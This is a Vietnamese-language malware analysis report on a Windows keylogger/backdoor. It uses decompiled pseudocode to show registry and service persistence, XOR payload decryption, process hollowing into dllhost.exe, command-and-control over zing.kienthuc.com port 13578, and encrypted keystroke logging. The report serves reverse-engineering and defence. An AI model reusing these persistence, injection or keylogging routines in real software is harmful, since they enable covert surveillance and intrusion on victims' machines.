REPORT

Tổng quát:

Chia các hành vi của malware làm 3 hành vi lớn:

1. Tàng hình, tạo REGISTRY KEY để tồn tại và tạo service chạy bằng kỹ thuật process hollowing.
2. Kết nối internet tới zing.kienthuc.com cổng 13578 thực hiện gửi nhận dữ liệu.
3. Hành vi keylogger gồm: lấy thông tin text ở cửa sổ, bắt sự kiện bàn phím tất cả sẽ được mã hóa và lưu trong xwinzard.dtd.

Chi tiết:

Phần đầu: ẩn giấu, tồn tại

Đầu tiên thì Main của malware sẽ rẽ nhánh làm 2 nhánh lớn:

Nhánh 1: Lấy tên file và kiểm tra xem nó có phải là eOffice.exe không:

```
Filename = 0;
memset(v19, 0, sizeof(v19));
GetModuleFileNameA(0, &Filename, 0x104u);
if ( _mbsstr((const unsigned __int8 *)&Filename, "eOffice.exe") )
```

Nếu có nó sẽ tạo 1 thread chạy StartAddress:

```
v1 = CreateThread(0, 0, StartAddress, 0, 0, 0);
CloseHandle(v1);
```

- Luồng StartAddress này sẽ thực thi các phần như sau:

  +, Kiểm tra file mozillaonline.xpi có tồn tại chung thư mục với file hiện tại chưa:

```
Filename = 0;
memset(v4, 0, sizeof(v4));
GetModuleFileNameA(0, &Filename, 0x104u);
v1 = _mbsrchr((const unsigned __int8 *)&Filename, '\\');
if ( v1 )
  lstrcpyA((LPSTR)v1 + 1, "mozillaonline.xpi");
if ( PathFileExistsA(&Filename) )
  Create_KEY();
return 1;
```

+, Nếu đã tồn tại sẽ tạo Registry Key để chương trình tồn tại trong hệ thống:

```
Filename = 0;
memset(v9, 0, sizeof(v9));
GetModuleFileNameA(0, &Filename, 0x104u);
GetShortPathNameA(&Filename, &Filename, 0x104u);
strcpy(SubKey, "qmdvucpg~oKAPMQMDV~uKLFMUQ~aWPPGLVtGPQKML~pWL");// SOFTWARE\Microsoft\Windows\CurrentVersion\Run
phkResult = 0;
*(_DWORD *)((char *)v11 + 2) = 0;
for ( i = 0; i < 50; i += 5 )
{
  v1 = SubKey[i];
  if ( !v1 )
    break;
  SubKey[i] = v1 ^ 0x22;
  v2 = SubKey[i + 1];
  if ( !v2 )
    break;
  SubKey[i + 1] = v2 ^ 0x22;
  v3 = SubKey[i + 2];
  if ( !v3 )
    break;
  SubKey[i + 2] = v3 ^ 0x22;
  v4 = SubKey[i + 3];
  if ( !v4 )
    break;
  SubKey[i + 3] = v4 ^ 0x22;
  v5 = SubKey[i + 4];
000425 Create_KEY:16 (10001025)
```

+, SubKey mà mã độc lấy sau khi giải mã chuỗi bằng cách xor với 0x22 là: SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Nó sẽ đăng kí với tên FlashPlayerUpdate.

```
if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, KEY_ALL_ACCESS, &phkResult)
  || (phkResult = 0, (result = RegOpenKeyExA(HKEY_CURRENT_USER, SubKey, 0, 2u, &phkResult)) == 0) )
{
  RegSetValueExA(phkResult, "FlashPlayerUpdate", 0, 1u, (const BYTE *)&Filename, 0x104u);
  result = RegCloseKey(phkResult);
}
return result;
```

Nó sẽ khởi động cùng hệ thống với tên KEY là FlashPlayerUpdate.

- Sau khi thực thi xong StartAddress:

Sử dụng đối tượng mutex với tên cứng để tránh lây nhiễm vào hệ thống nhiều lần:

```
v2 = CreateMutexA(0, 0, "{520338B8-3378-58F7-AFB9-E7D35E683BF6}");
if ( GetLastError() == 0xB7 )
{
  CloseHandle(v2);
  ExitProcess(0);
}
```

và có nhiều phần ở nhiều hàm khác cũng tạo Mutex tương tự để tránh lặp lại việc lây nhiễm vào hệ thống, ví dụ:

```
  v4 = CreateMutexA(0, 0, "Global\\{A265CC56-C349-76FF-81CB-E49E57734D22}");
}
v5 = v4;
if ( GetLastError() == 183 )
{
  CloseHandle(v5);
  ExitProcess(0);
}
```

Nhánh 2: Còn nếu check tên không phải là “eOffice.exe”, nó sẽ thực hiện kiểm tra biến dword sau:

```
if ( dword_1005D824 == 2 )
{
  pszPath[0] = 0;
  memset(&pszPath[1], 0, 0x103u);
  GetModuleFileNameA(0, pszPath, 0x104u);
  v3 = _mbsrchr((const unsigned __int8 *)pszPath, '\\');
  if ( v3 )
    lstrcpyA((LPSTR)v3 + 1, "mozillaonline.xpi");
  if ( PathFileExistsA(pszPath) )
  {
    Create_KEY();
    phkResult = 0;
    cbData = 0;
    if ( sub_10001CE0(&phkResult) )
    {
      Buffer = 0;
      memset(v23, 0, sizeof(v23));
      GetSystemDirectoryA(&Buffer, 0x104u);
      strcat_s(&Buffer, 0x104u, "\\dllhost.exe");
      if ( sub_100018C0(&Buffer) )
        ExitProcess(0);
    }
  }
```

- Biến này được tạo từ một hàm Check_Token thực thi trước dll main:

```
Check_Token(&IsMember, (int)&dword_1005D824);
```

- Chức năng của hàm tạo ra biến này:

```
VersionInformation.dwOSVersionInfoSize = 284;
v5 = GetModuleHandleA("NTDLL");
if ( v5 && (RtlGetVersion = GetProcAddress(v5, "RtlGetVersion")) != 0 )
  ((void (__stdcall *)(struct _OSVERSIONINFOW *))RtlGetVersion)(&VersionInformation);
else
  GetVersionExW(&VersionInformation);
if ( VersionInformation.dwMajorVersion >= 6
  && (!GetTokenInformation(TokenHandle, TokenElevationType, &TokenInformation, 4u, &ReturnLength)
   || TokenInformation == 3
   && !GetTokenInformation(TokenHandle, TokenLinkedToken, &DuplicateTokenHandle, 4u, &ReturnLength))
  || !DuplicateTokenHandle && !DuplicateToken(TokenHandle, SecurityIdentification, &DuplicateTokenHandle) )
{
  v15 = (_DWORD *)GetLastError();
  goto LABEL_35;
}
cbSid = 68;
if ( !CreateWellKnownSid(WinBuiltinAdministratorsSid, 0, pSid, &cbSid) )
  goto LABEL_17;
if ( CheckTokenMembership(DuplicateTokenHandle, pSid, IsMember) )
  v15 = 0;
else
  v15 = (_DWORD *)GetLastError();
v7 = *IsMember;
if ( !*IsMember )
```

+, Nó thực hiện sao chép một token mới từ token cũ bằng API DuplicateToken với level là SecurityIdentification.

+, Tiếp đấy nó sẽ tạo một nhóm với quyền quản trị viên và kiểm tra xem process có thuộc nhóm này hay không.

+, Tiếp đấy nó sẽ khởi tạo biến DW sẽ check ở trên (ở đây là *pExceptionObject) dựa trên kết quả kiểm tra và các trường đã truy xuất trước đó:

```
58  if ( !*IsMember )
59  {
60LABEL_29:
61    if ( v7 || TokenInformation != 1 )
62    {
63      if ( v7 && VersionInformation.dwMajorVersion < 6 )
64        *pExceptionObject = 4;
65    }
66    else
67    {
68      *pExceptionObject = 2;
69    }
70    goto LABEL_35;
71  }
72  if ( TokenInformation == 2 )
73  {
74    *pExceptionObject = 4;
75    goto LABEL_35;
76  }
77  if ( TokenInformation != 1 )
78  {
79    if ( TokenInformation == 3 )
80    {
81      *pExceptionObject = 2;
82      goto LABEL_35;
83    }
```

Tổng kết việc khởi tạo biến DW:

+> Bằng 2: Member của nhóm quản trị viên và phiên bản >= Win 7, Win Sever 2008:

+> Bằng 4: Phiên bản máy đang chạy < Win 7, Win Sever 2008, hoặc không thuộc nhóm ADMIN:

+> Trường hợp khác sẽ lấy theo mã session identifier.

Thực hiện kiểm tra biến này:

- Quay lại main, với process đang chạy với Admin(dw == 2):

  +, Kiểm tra file “mozillaonline.xpi”, có tồn tại cùng chung thư mục với file hiện tại chưa:

```
else
{
  if ( dword_1005D824 == 2 )
  {
    pszPath[0] = 0;
    memset(&pszPath[1], 0, 0x103u);
    GetModuleFileNameA(0, pszPath, 0x104u);
    v3 = _mbsrchr((const unsigned __int8 *)pszPath, '\\');
    if ( v3 )
      lstrcpyA((LPSTR)v3 + 1, "mozillaonline.xpi");
```

  +, Nếu có sẽ tiến hành tạo KEY và giải mã file mozillaonline và tiến hành kỹ thuật process hollowing inject file mozilla đã giải mã:

```
if ( PathFileExistsA(pszPath) )
{
  Create_KEY();
  phkResult = 0;
  cbData = 0;
  if ( Decrypt_Mozilla(pszPath, (LPVOID *)&cbData, (DWORD *)&phkResult) )
  {
    Buffer = 0;
    memset(v23, 0, sizeof(v23));
    GetSystemDirectoryA(&Buffer, 0x104u);
    strcat_s(&Buffer, 0x104u, "\\dllhost.exe");
    if ( Process_Hollowing(&Buffer, (const void *)cbData, (SIZE_T)phkResult) )
      ExitProcess(0);
  }
```

Các bước thứ tự :

. Tạo REGISTRY KEY

. Giải mã file mozilaonline.xpi

. Kỹ thuật process hollowing với soure là mozillaonline.xpi sau khi giải mã, dest là dllhost.exe nhằm ngụy trang mã trong mozillaonline.

Đi vào ba hàm này:

+, Tạo KEY: Tương tự với ở nhánh 1, tạo SubKey SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ FlashPlayerUpdate

+, Giải mã mozillaonline.xpi:

Mở file mozilla:

```
v3 = CreateFileA(mozilla_path, 0x80000000, 1u, 0, 3u, 0, 0);
v4 = v3;
if ( v3 == (HANDLE)-1 )
  return 0;
v6 = GetFileSize(v3, 0);
v7 = VirtualAlloc(0, v6, 0x1000u, 0x40u);
*a2 = v7;
memset(v7, 0, v6);
ReadFile(v4, *a2, v6, lpNumberOfBytesRead, 0);
CloseHandle(v4);
```

Giải mã bằng xor:

```
do
  v8[v9++] ^= 3u;
while ( v9 < 0x21E6 );
for ( i = 8678; i < 0x43CC; ++i )
  v8[i] ^= 8u;
for ( j = 17356; j < 0x65B2; ++j )
  v8[j] ^= 2u;
for ( k = 26034; k < 0x8798; ++k )
  v8[k] ^= 7u;
for ( l = 34712; l < 0xA97E; ++l )
  v8[l] ^= 1u;
for ( m = 43390; m < 0xCB64; ++m )
  v8[m] ^= 4u;
for ( n = 52068; n < 0xED4A; ++n )
  v8[n] ^= 3u;
for ( ii = 60746; ii < 0x10F30; ++ii )
  v8[ii] ^= 2u;
for ( jj = 69424; jj < v6; ++jj )
  v8[jj] ^= 5u;
return 1;
```

+, Process Hollowing:

Trước đó nó sẽ Enable SeDebugPrivilege để có thể đọc/ghi trên process khác, phục vụ cho kỹ thuật process hollowing:

```
v4 = GetCurrentProcess();
OpenProcessToken(v4, 0x28u, &TokenHandle);
LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid);
NewState.Privileges[0].Luid = Luid;
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Attributes = 2;
AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);
```

Sau đấy sẽ tiến hành kỹ thuật process hollowing, dest là dllhost.exe:

```
CreateProcessA(lpApplicationName, 0, 0, 0, 0, 4u, 0, 0, &StartupInfo, &ProcessInformation);
memset(&Context.Dr0, 0, 0x2C8u);
Context.ContextFlags = 65599;
GetThreadContext(ProcessInformation.hThread, &Context);
v5 = VirtualAllocEx(ProcessInformation.hProcess, 0, a3, 0x1000u, 0x40u);
v6 = (DWORD)v5;
if ( !v5 )
  return 0;
NumberOfBytesWritten = 0;
if ( !WriteProcessMemory(ProcessInformation.hProcess, v5, a2, a3, &NumberOfBytesWritten) )
  return 0;
Context.Eip = v6;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
```

- Còn nếu process đang chạy không phải admin (dw != 2):

+, Đầu tiên nó vẫn sẽ thực hiện kiểm tra file mozillaonline.xpi cùng chung thư mục với file hiện tại chưa:

```
else
{
  Buffer = 0;
  memset(v23, 0, sizeof(v23));
  GetModuleFileNameA(0, &Buffer, 0x104u);
  v6 = _mbsrchr((const unsigned __int8 *)&Buffer, '\\');
  v7 = v6;
  if ( v6 )
    lstrcpyA((LPSTR)v6 + 1, "mozillaonline.xpi");
  if ( PathFileExistsA(&Buffer) )
  {
    lstrcpyA((LPSTR)v7 + 1, "wer.dll");
    v8 = OpenSCManagerA(0, 0, 0xF003Fu);
    if ( v8 )
      Create_Sevice(ServiceName, DisplayName, aProvidesPerfor, (int)&Buffer, v8);
    Start_Service(ServiceName);
    ExitProcess(0);
  }
  pszPath[0] = 0;
  memset(&pszPath[1], 0, 0x103u);
  GetModuleFileNameA(0, pszPath, 0x104u);
```

Nếu thực hiện thành công việc trên, nó sẽ tiếp tục lấy path của wer.dll và tiến hành tạo và khởi động service:

+, Tạo service:

```
if ( RegOpenKeyExA(
       HKEY_LOCAL_MACHINE,
       "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\svchost",
       0,
       0x20007u,
       &phkResult)
  || RegSetValueExA(phkResult, "WMIsvcGroup", 0, 7u, (const BYTE *)lpServiceName, strlen(lpServiceName)) )
{
  goto LABEL_46;
}
lpBinaryPathName = (LPCSTR)(((int (__thiscall *)(int (__stdcall ***)(int, int)))off_1002A284[3])(&off_1002A284) + 16);
v29 = 0;
if ( ((unsigned int)"%SystemRoot%\\system32\\svchost.exe -k " & 0xFFFF0000) != 0 )
{
  sub_10007710("%SystemRoot%\\system32\\svchost.exe -k ");
}
else
{
  v6 = (HMODULE)sub_10007180();
  if ( v6 )
    sub_10007650(v6);
}
```

Đầu tiên nó sẽ tạo 1 key trong svchost với ServiceName là WMIsvcGroup:

Tiến hành tạo Service này:

```
sub_10004860(11, (int *)&lpBinaryPathName, "WMIsvcGroup");
v8 = lpBinaryPathName;
v9 = hSCManager;
v10 = CreateServiceA(
        hSCManager,
        lpServiceName,
        lpDisplayName,
        0xF01FFu,
        0x10u,
        2u,
        1u,
        lpBinaryPathName,
        0,
        0,
        0,
        0,
        0);
hSCObject = v10;
if ( v10 )
{
BEL_16:
  Info = lpSubKey;
  ChangeServiceConfig2A(v10, 1u, &Info);
  CloseServiceHandle(v9);
```

Nếu việc tạo này thành công nó sẽ tiếp tục tạo 1 Registry key cho service này:

+, Khởi tạo subkey:

```
sub_6AD77710(34, (volatile signed __int32 **)&lpSubKey, "SYSTEM\\CurrentControlSet\\Services\\");
```

+, Nối thêm ServiceName vào vào mở key này SYSTEM\\CurrentControlSet\\Services\\WMIsvcGroup.

+, Đặt giá trị WOW64 và tạo key Prameters.

```
sub_6AD74860(v14, (int *)&lpSubKey, (char *)lpServiceName);
v15 = lpSubKey;
if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0xF003Fu, &hKey) )
  goto LABEL_41;
*(_DWORD *)Data = 1;
if ( RegSetValueExA(hKey, "WOW64", 0, 4u, Data, 4u) || RegCreateKeyA(hKey, "Parameters", &v28) )
```

Tiếp đó nó sẽ kiểm tra lại sự tồn tại của wer.dll:

```
if ( path )
{
```

Nếu có nó sẽ sửa Parameters thành ServiceDll:

```
v21 = RegSetValueExA(v28, "ServiceDll", 0, 2u, (const BYTE *)v16, v20);
```

Kết thúc quá trình tạo Service, nó sẽ khởi chạy service này:

```
BOOL __stdcall Start_Service(LPCSTR lpServiceName)
{
  BOOL v1; // ebx
  SC_HANDLE v2; // edi
  SC_HANDLE v3; // eax
  SC_HANDLE v4; // esi

  v1 = 0;
  v2 = OpenSCManagerA(0, 0, 0xF003Fu);
  if ( v2 )
  {
    v3 = OpenServiceA(v2, lpServiceName, 0xF01FFu);
    v4 = v3;
    if ( v3 )
    {
      v1 = StartServiceA(v3, 0, 0);
      CloseServiceHandle(v4);
    }
    CloseServiceHandle(v2);
  }
  return v1;
}
```

Sau khi chạy service thành công với svchost.exe

```
GetModuleFileNameA(0, pszPath, 0x104u);
if ( _mbsstr((const unsigned __int8 *)pszPath, "svchost.exe") )
{
  strcpy(SubKey, "SYSTEM\\CurrentControlSet\\Services\\");
  phkResult = 0;
  memset(&SubKey[35], 0, 0x41u);
  strcat_s(SubKey, 0x64u, ServiceName);
  strcat_s(SubKey, 0x64u, "\\Parameters\\");
  if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 0xF003Fu, &phkResult) )
```

Tiếp tục mở KEY: SYSTEM\\CurrentControlSet\\Services\\ WMIsvcGroup\\Parameters\\ và kiểm tra KEY vừa tạo đã chắc chắn thành công:

```
RegQueryValueExA(phkResult, "ServiceDll", 0, &Type, 0, &cbData);
esi22 = operator new(cbData);
memset(esi22, 0, cbData);
RegQueryValueExA(phkResult, "ServiceDll", 0, &Type, (LPBYTE)esi22, &cbData);
RegCloseKey(phkResult);
memset(pszPath, 0, sizeof(pszPath));
memcpy(pszPath, esi22, cbData);
operator delete(esi22);
eax22 = _mbsrchr((const unsigned __int8 *)pszPath, '\\');
if ( eax22 )
  lstrcpyA((LPSTR)eax22 + 1, "mozillaonline.xpi");
```

Rồi khởi tạo PATH của mozillaonline.xpi chung đường dẫn đến service này.

Tiến hành giải mã mozilla vào đường dẫn vừa tạo, chạy nó với kỹ thuật process hollowing với dest là dllhost.exe như ở trước đó đã phân tích:

```
if ( Decrypt_Mozilla(pszPath, (LPVOID *)&Type, &NumberOfBytesRead) )
{
  Destination = 0;
  memset(var373, 0, sizeof(var373));
  GetSystemDirectoryA(&Destination, 0x104u);
  strcat_s(&Destination, 0x104u, "\\dllhost.exe");
  if ( Process_Howllowing(&Destination, NumberOfBytesRead, Type) )
    ExitProcess(0);
}
```

Sau khi thực hiện xong quá trình tàng hình và tồn tại, malware sẽ đến bước kết nối Internet.

Phần 2: Kết nối Internet

Kết nối Internet:

Có 3 luồng lớn sẽ lần lượt được thực thi:

```
Tmp(&unk_6ADCC998, (int)&hToken);
_beginthread((_beginthread_proc_type)sub_6AD737C0, 0, 0);
eax28a = CreateThread(0, 0, sub_6AD71760, 0, 0, 0);
CloseHandle(eax28a);
eax28b = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_6AD745D0, 0, 0, 0);
CloseHandle(eax28b);
Sleep(0xFFFFFFFF);
return 0;
```

Luồng thứ 1:

```
1 void __cdecl Luong_1()
2 {
3   _DWORD eax3; // eax
4   struct WSAData WSAData; // [esp+8h] [ebp-3C0h]
5   CHAR CmdLine[32]; // [esp+198h] [ebp-230h]
6   WCHAR Filename; // [esp+1B8h] [ebp-210h]
7   char var20E[518]; // [esp+1BAh] [ebp-20Eh]
8
9   Filename = 0;
10  memset(var20E, 0, sizeof(var20E));
11  GetModuleFileNameW(0, &Filename, 0x104u);
12  sub_6AD72930(&Filename);
13  if ( !WSAStartup(0x202u, &WSAData) )
14  {
15    if ( WSAData.wVersion == 514 )
16    {
17      eax3 = (void *)create_socket_and_listen();
18      if ( eax3 )
19        _beginthread(sub_6AD736E0, 0, eax3);
20      strcpy(CmdLine, "TASKKILL /F /IM rundll32.exe");
21      WinExec(CmdLine, 0);
22    }
23    else
24    {
25      WSACleanup();
26    }
```

Trước khi kill rundll32.exe nó sẽ tiếp tục đi qua một hàm lớn và 1 luồng nữa:

Hàm này có chức năng tạo soket nối với zing.kienthuc.com và thực hiện lắng nghe từ socket này, cổng truy cập là 13578.

```
SOCKET create_socket_and_listen()
{
  SOCKET v0; // eax
  SOCKET v1; // esi
  char optval[4]; // [esp+8h] [ebp-18h] BYREF
  struct sockaddr name; // [esp+Ch] [ebp-14h] BYREF

  *(_DWORD *)&name.sa_data[6] = 0;
  *(_DWORD *)&name.sa_data[10] = 0;
  *(_DWORD *)optval = 86400000;
  name.sa_family = 2;
  *(_DWORD *)&name.sa_data[2] = 0;
  *(_WORD *)name.sa_data = htons(13578u);
  v0 = socket(2, 1, 0);
  v1 = v0;
  if ( v0 == -1 )
    return 0;
  if ( bind(v0, &name, 16) == -1
    || setsockopt(v1, 0xFFFF, 4101, optval, 4) == -1
    || setsockopt(v1, 0xFFFF, 4102, optval, 4) == -1
    || listen(v1, 0x7FFFFFFF) == -1 )
  {
    closesocket(v1);
    return 0;
  }
```

Còn luồng 1.1 sẽ thực hiện:

+, Ngắt kết nối nếu là địa chỉ loopback 127.0.0.X (localhost)

+, Tiếp tục mở luồng 1.1.1

```
while ( 1 )
{
  do
  {
    readfds.fd_array[0] = (SOCKET)fd;
    readfds.fd_count = 1;
    timeout.tv_sec = 10;
    timeout.tv_usec = 0;
  }
  while ( select(0, &readfds, 0, 0, &timeout) <= 0 );
  if ( _WSAFDIsSet((SOCKET)fd, &readfds) )
  {
    v1 = (void *)accept((SOCKET)fd, &addr, &addrlen);
    if ( v1 != (void *)-1 )
    {
      v2 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
      if ( strstr(v2, "127.0.0.") )
      {
        closesocket((SOCKET)v1);
      }
      else
      {
        sub_6AD73640();
        _beginthread(sub_6AD73570, 0, v1);
      }
```

Luồng 1.1.1 sẽ thực hiện chủ yếu là gửi nhận dữ liệu và thông báo đến bên điều khiển:

```
if ( strlen(Source) )
  v1 = sub_6AD73380(word_6ADCD778);
v2 = (SOCKET *)operator new(8u);
v2[1] = v1;
*v2 = (SOCKET)s;
v3 = sub_6AD72FA0(v2);
if ( !v2[1] || v3 == 0xBC6 )
{
  closesocket(v1);
  closesocket((SOCKET)s);
  operator delete(v2);
}
else
{
  Handles[0] = (HANDLE)_beginthread(sub_6AD72C50, 0, v2);
  Handles[1] = (HANDLE)_beginthread(sub_6AD72DC0, 0, v2);
  WaitForMultipleObjects(2u, Handles, 1, 0xFFFFFFFF);
```

+, Thông báo:

```
Destination = 0;
memset(v5, 0, sizeof(v5));
Source = 0;
memset(v3, 0, sizeof(v3));
strcpy_s(&Destination, 0x200u, "HTTP/1.1 200 OK\r\n");
strcat_s(&Destination, 0x200u, "Server: nginx/1.4.7\r\n");
sub_6AD738B0("Content-Length: %d\r\n", 0);
strcat_s(&Destination, 0x200u, &Source);
strcat_s(&Destination, 0x200u, "Accept-Ranges: bytes\r\n");
strcat_s(&Destination, 0x200u, "Content-Type: text/html\r\n");
strcat_s(&Destination, 0x200u, "Connection: Close\r\n");
strcat_s(&Destination, 0x200u, "Cache-Control: no-cache\r\n\r\n");
if ( sent_TO(&Destination, strlen(&Destination), a1) )
  return 1;
closesocket(a1);
return 0;
```

+, Gửi nhận:

```
if ( _WSAFDIsSet(*v1, &readfds) )
{
  v4 = recv(*v1, buf, 0x2000, 0);
  v5 = v4;
  if ( !v4 || v4 == -1 )
    break;
  v6 = v1[1];
  v7 = buf;
  s = v6;
  v11 = 0;
  v8 = v5;
  if ( v5 > 0 )
  {
    for ( i = send(v6, buf, v5, 0); i; i = send(s, v7, v8, 0) )
```

Kết thúc luồng 1 bằng lệnh kill rundll32.exe

Luồng 2: Luồng này sẽ tạo một cửa sổ windows để tiến hành việc nhận dữ liệu từ bên điều khiển thông qua phương thức GET:

```
WNDCLASSEXA v3; // [esp+2Ch] [ebp-44h] BYREF
CHAR ClassName[16]; // [esp+5Ch] [ebp-14h] BYREF

SetErrorMode(0x8007u);
while ( !strlen(Source) )
  Sleep(0x3E8u);
memset(&v3, 0, sizeof(v3));
strcpy(ClassName, "WndClassName");
v3.cbSize = 48;
v3.lpfnWndProc = GET;
v3.lpszClassName = ClassName;
if ( RegisterClassExA(&v3) )
{
  if ( CreateWindowExA(0, ClassName, 0, 0xCF0000u, 0x80000000, 0, 0x80000000, 0, 0, 0, 0, 0)
    && GetMessageA(&Msg, 0, 0, 0) )
  {
    do
    {
      TranslateMessage(&Msg);
      DispatchMessageA(&Msg);
    }
    while ( GetMessageA(&Msg, 0, 0, 0) );
  }
  UnregisterClassA(ClassName, 0);
}
return 1;
```

Hàm GET:

```
  sub_6AD72460(
    &buf,
    "GET /%s%s%s%s HTTP/1.1",
    (const char *)&dword_6ADCD128,
    (const char *)&dword_6ADCD175,
    &v73,
    byte_6ADCCD28);
  strcat_s(&buf, 0x410u, "\r\n");
  strcat_s(&buf, 0x410u, &Destination);
  strcat_s(&buf, 0x410u, "\r\n");
  strcat_s(&buf, 0x410u, "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64)");
  strcat_s(&buf, 0x410u, "\r\n");
  strcat_s(&buf, 0x410u, "Connection: Keep-Alive\r\n\r\n");
  v57 = strlen(&buf);
  v58 = &buf;
  v61 = 0;
  v59 = v57;
  if ( v57 <= 0 )
  {
EL_95:
    closesocket(s);
    return 0;
  }
  for ( j = send(s, &buf, v57, 0); j; j = send(s, v58, v59, 0) )
```

Phần 3: Keylogger

Luồng 3: Luồng này chủ yếu thực hiện hành vi keylogger:

```
if ( *((int *)v1 - 2) >= 260 )
{
  *((_DWORD *)v1 - 3) = 260;
  ::String[260] = 0;
  SHGetSpecialFolderPathA(0, v1, 21, 1);
  v2 = strnlen(::String, *((_DWORD *)::String - 2));
  if ( v2 >= 0 && v2 <= *((_DWORD *)::String - 2) )
  {
    *((_DWORD *)::String - 3) = v2;
    ::String[v2] = 0;
    sub_6AD74860(12, (int *)&::String, "\\xwizard.dtd");
    Destination[0] = 0;
    memset(&Destination[1], 0, 0xFFFEu);
    while ( 1 )
    {
      v3 = GetForegroundWindow();
      v4 = hWnd;
      if ( v3 != hWnd )
```

Đầu tiên nó sẽ tạo 1 file tên xwizard.dtd

Sau đó sẽ theo dõi cửa sổ đang sử dụng hiện tại.

```
  if ( strlen(Destination) )
  {
    v10 = 0;
    memset(v11, 0, sizeof(v11));
    String = 0;
    memset(v9, 0, sizeof(v9));
    GetWindowTextA(v4, &String, 260);
    if ( strlen(&String) )
    {
      v6 = 0;
      memset(v7, 0, sizeof(v7));
      Get_Time(&v6);
      sub_6AD74A60(&v10, "\r\n %s  %s\r\n", &v6, &String);
    }
    sub_6AD743C0(&v10);
    sub_6AD743C0(Destination);
    memset(Destination, 0, 0xFFFFu);
  }
```

Lấy text ở cửa sổ, nếu không có thì lấy time hiện tại:

```
SystemTime.wYear = 0;
*(_DWORD *)&SystemTime.wMonth = 0;
*(_DWORD *)&SystemTime.wDay = 0;
*(_DWORD *)&SystemTime.wMinute = 0;
SystemTime.wMilliseconds = 0;
GetLocalTime(&SystemTime);
v4[0] = 0;
memset(&v4[1], 0, 0x63u);
sub_6AD74A40(
  "\r\n [%d-%d-%d %d:%d]",
  SystemTime.wYear,
  SystemTime.wMonth,
  SystemTime.wDay,
  SystemTime.wHour,
  SystemTime.wMinute);
qmemcpy(this, v4, 0x64u);
```

Ngoài ra còn đọc bàn phím nạn nhân:

```
while ( 1 )
{
  dword_6ADCDD44 = GetKeyState(0x10);
  dword_6ADCDD40 = vKey[v1];
  if ( GetAsyncKeyState(dword_6ADCDD40) >= 0 )
    break;
  if ( GetKeyState(20) && dword_6ADCDD44 > -1 && (unsigned int)(dword_6ADCDD40 - 65) <= 0x19 )
  {
    dword_6ADCD940[dword_6ADCDD40] = 1;
  }
  else
  {
    if ( !GetKeyState(20) )
      goto LABEL_11;
    if ( dword_6ADCDD44 >= 0 )
      goto LABEL_13;
    if ( (unsigned int)(dword_6ADCDD40 - 65) <= 0x19 )
    {
      dword_6ADCD940[dword_6ADCDD40] = 2;
    }
    else
```

Tất cả dữ liệu này sẽ được ghi vào xwinzard đã tạo ở trên.

```
v2 = OpenMutexA(0x1F0001u, 0, "{0C65B412-CE26-4AB5-A96E-3C6B50547909}");
v3 = v2;
if ( v2 )
  WaitForSingleObject(v2, 0x3E8u);
result = (int)fopen(String, "ab");
v5 = (FILE *)result;
if ( result )
{
  sub_6AD74370((const char *)a1);
  fwrite(a1, strlen((const char *)a1), 1u, v5);
  fclose(v5);
  if ( v3 )
  {
    ReleaseMutex(v3);
    CloseHandle(v3);
  }
  result = 1;
```

Và dữ liệu này được mã hóa:

```
1 void __usercall sub_6AD74370(const char *a1@<esi>)
2 {
3   unsigned int i; // ecx
4
5   if ( a1 )
6   {
7     for ( i = 0; i < strlen(a1); ++i )
8       a1[i] ^= 0xFAu;
9   }
10 }
```